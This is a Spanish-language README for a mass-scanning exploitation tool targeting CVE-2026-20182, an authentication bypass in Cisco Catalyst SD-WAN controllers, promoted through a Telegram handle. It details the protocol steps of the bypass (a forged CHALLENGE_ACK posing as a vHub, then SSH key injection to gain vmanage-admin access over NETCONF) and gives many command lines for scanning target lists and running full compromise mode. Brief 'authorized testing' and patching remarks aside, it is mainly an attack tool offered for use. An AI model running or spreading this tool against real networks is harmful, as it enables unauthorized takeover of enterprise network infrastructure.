
Omisión de autenticación de peering de Cisco Catalyst SD-WAN
Omisión de autenticación de peering en Cisco Catalyst SD-WAN
Herramienta de evaluación para pruebas autorizadas de la omisión de autenticación de peering en Cisco Catalyst SD-WAN Controller / Manager (CVE-2026-20182).
| CVE | CVE-2026-20182 |
| Gravedad | Crítica (CVSS 10.0) |
| CVSS 3.1 | AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| Producto | Cisco Catalyst SD-WAN Controller (anteriormente vSmart) · Cisco Catalyst SD-WAN Manager (anteriormente vManage) |
| Problema | El mecanismo de autenticación de peering no se aplica correctamente |
| Script | CVE-2026-20182.py |
Aviso de mayo de 2026: Un fallo en el handshake de conexión de control / autenticación de peering permite que un atacante remoto no autenticado omita la autenticación y obtenga acceso interno con privilegios elevados en los sistemas afectados.
Un atacante envía solicitudes manipuladas al sistema afectado. Si tiene éxito, el atacante puede autenticarse como una cuenta interna, con privilegios elevados y no root y alcanzar NETCONF, lo que permite manipular la configuración del fabric de SD-WAN.
| Elemento | Detalle |
|---|---|
| Vector de ataque | Red |
| Privilegios requeridos | Ninguno |
| Interacción del usuario | Ninguna |
| Alcance | Cambiado |
| Impacto | Confidencialidad, integridad y disponibilidad: alta |
Recomendación: Aplique los parches de seguridad de Cisco según las indicaciones oficiales del proveedor. Restrinja la exposición del plano de gestión, supervise las conexiones del plano de control y audite los controladores SD-WAN para detectar cambios de configuración no autorizados.
Telegram: @KNxploited
CVE-2026-20182.pyMarco de explotación en Python 3 para CVE-2026-20182 contra vdaemon de Cisco SD-WAN (UDP/DTLS 12346).
| Paso | Fase | Descripción |
|---|---|---|
| 1 | Cargar objetivos | Analiza targets.txt y combina duplicados por (host, domain_id, site_id) |
| 2 | Comprobación previa de OpenSSL | Carga las bibliotecas compartidas de OpenSSL 3.x/4.x para DTLS personalizado |
| 3 | Conexión DTLS | Conecta al puerto UDP objetivo (siempre 12346 primero y luego los puertos opcionales de la lista) |
| 4 | CHALLENGE | Recibe el CHALLENGE (0x08) del servidor |
| 5 | CHALLENGE_ACK | Envía un CHALLENGE_ACK manipulado como vHub (tipo 2) — omisión de autenticación |
| 6 | Hello | Completa el intercambio Hello — confirma la ruta de omisión |
| 7a | Modo CHECK | Detenerse aquí — registrar solo bypass / Hello OK (sin claves, sin SSH) |
| 7b | Modo FULL | Inyectar la clave pública SSH mediante VMANAGE_TO_PEER |
| 8 | ACK de inyección | Esperar REGISTER_TO_VMANAGE (0x0D) como confirmación de protocolo |
| 9 | Verificación SSH | Probar el inicio de sesión como vmanage-admin en TCP 830 (NETCONF), opcionalmente 22 |
| 10 | Salida | Clasificar los hallazgos en archivos por niveles + lista de comandos legible |
Respaldo de fabric: Ante TEAR_DOWN o discrepancia de parámetros, reintenta con los valores alternativos de domain/site (1,100), (1,1), (0,0) a menos que se use --no-fallback.
| Nivel | Archivo | Significado |
|---|---|---|
| 01 — SSH confirmado | cisco_sdwan_01_confirmed_ssh.jsonl | ssh_verified=true — único nivel tratado como prueba de compromiso total |
| 02 — Solo inyección ACK | cisco_sdwan_02_inject_ack_only.jsonl | El protocolo aceptó la inyección de clave; falló el inicio de sesión SSH |
| 03 — Solo bypass | cisco_sdwan_03_bypass_only.jsonl | Hello/bypass correctos; sin inyección confirmada |
Importante
check → como máximo nivel 03 (sonda de bypass). No es prueba de explotación completa.full → apunta al nivel 01 (ssh_verified).https://host en la lista → solo sugerencia web TCP (80/443). No es DTLS UDP en el 443.| Requisito | Notas |
|---|---|
| Python | 3.9+ |
| pip | cryptography, rich |
| OpenSSL | Bibliotecas compartidas 3.x o 4.x (libssl + libcrypto) — obligatorio |
pip install -r requirements.txt
Windows
bin\ al PATH o establezca:OPENSSL_HOME=C:\Program Files\OpenSSL-Win64
Linux
# Debian/Ubuntu
sudo apt install libssl3 openssl
export LD_LIBRARY_PATH=/usr/lib/x86_64-linux-gnu:$LD_LIBRARY_PATH
La herramienta sale al inicio si no se puede cargar OpenSSL.
python CVE-2026-20182.py
0 = INICIAR ESCANEOcheck (sonda de bypass segura)python CVE-2026-20182.py -y
| Modo | Opción | Inyección SSH | Verificación SSH | Úsalo cuando |
|---|---|---|---|---|
| CHECK | --mode check (predeterminado) | No | No | Cribado masivo, detección de bypass |
| FULL | --mode full | Sí | Sí (salvo --no-ssh-verify) | Prueba de compromiso |
CHECK — solo sonda de bypass
python CVE-2026-20182.py -y --mode check
FULL — inyectar clave y verificar SSH (solo objetivos autorizados)
python CVE-2026-20182.py -y --mode full
-f / --file — lista de objetivos (predeterminado: targets.txt)
python CVE-2026-20182.py -y -f my_controllers.txt --mode check
-t / --threads — subprocesos de trabajo (1–200, predeterminado 12)
python CVE-2026-20182.py -y -f targets.txt -t 30 --mode check
--domain — DOMAIN_ID predeterminado cuando no está en la lista (predeterminado: 1)
python CVE-2026-20182.py -y -f targets.txt --domain 1 --site 100 --mode check
--site — SITE_ID predeterminado cuando no está en la lista (predeterminado: 100)
python CVE-2026-20182.py -y -f targets.txt --domain 1 --site 50 --mode full
--mode — check | full
python CVE-2026-20182.py -y --mode full -f targets.txt
-y / --yes — omitir el menú interactivo; usar solo valores de CLI
python CVE-2026-20182.py -y -f targets.txt --mode check -t 20
--no-ssh-verify — omitir la prueba SSH posterior a la inyección (no recomendado en modo full)
python CVE-2026-20182.py -y --mode full --no-ssh-verify -f targets.txt
--verify-ssh22 — probar también TCP 22 después de 830
python CVE-2026-20182.py -y --mode full --verify-ssh22 -f targets.txt
--no-try-list-udp — solo UDP 12346; ignorar :port de la lista
python CVE-2026-20182.py -y --no-try-list-udp -f targets.txt --mode check
--extra-udp-ports — laboratorio: puertos UDP adicionales en cada host
python CVE-2026-20182.py -y --extra-udp-ports 8080,8443 -f targets.txt --mode check
--no-fallback — deshabilitar el reintento domain/site ante TEAR_DOWN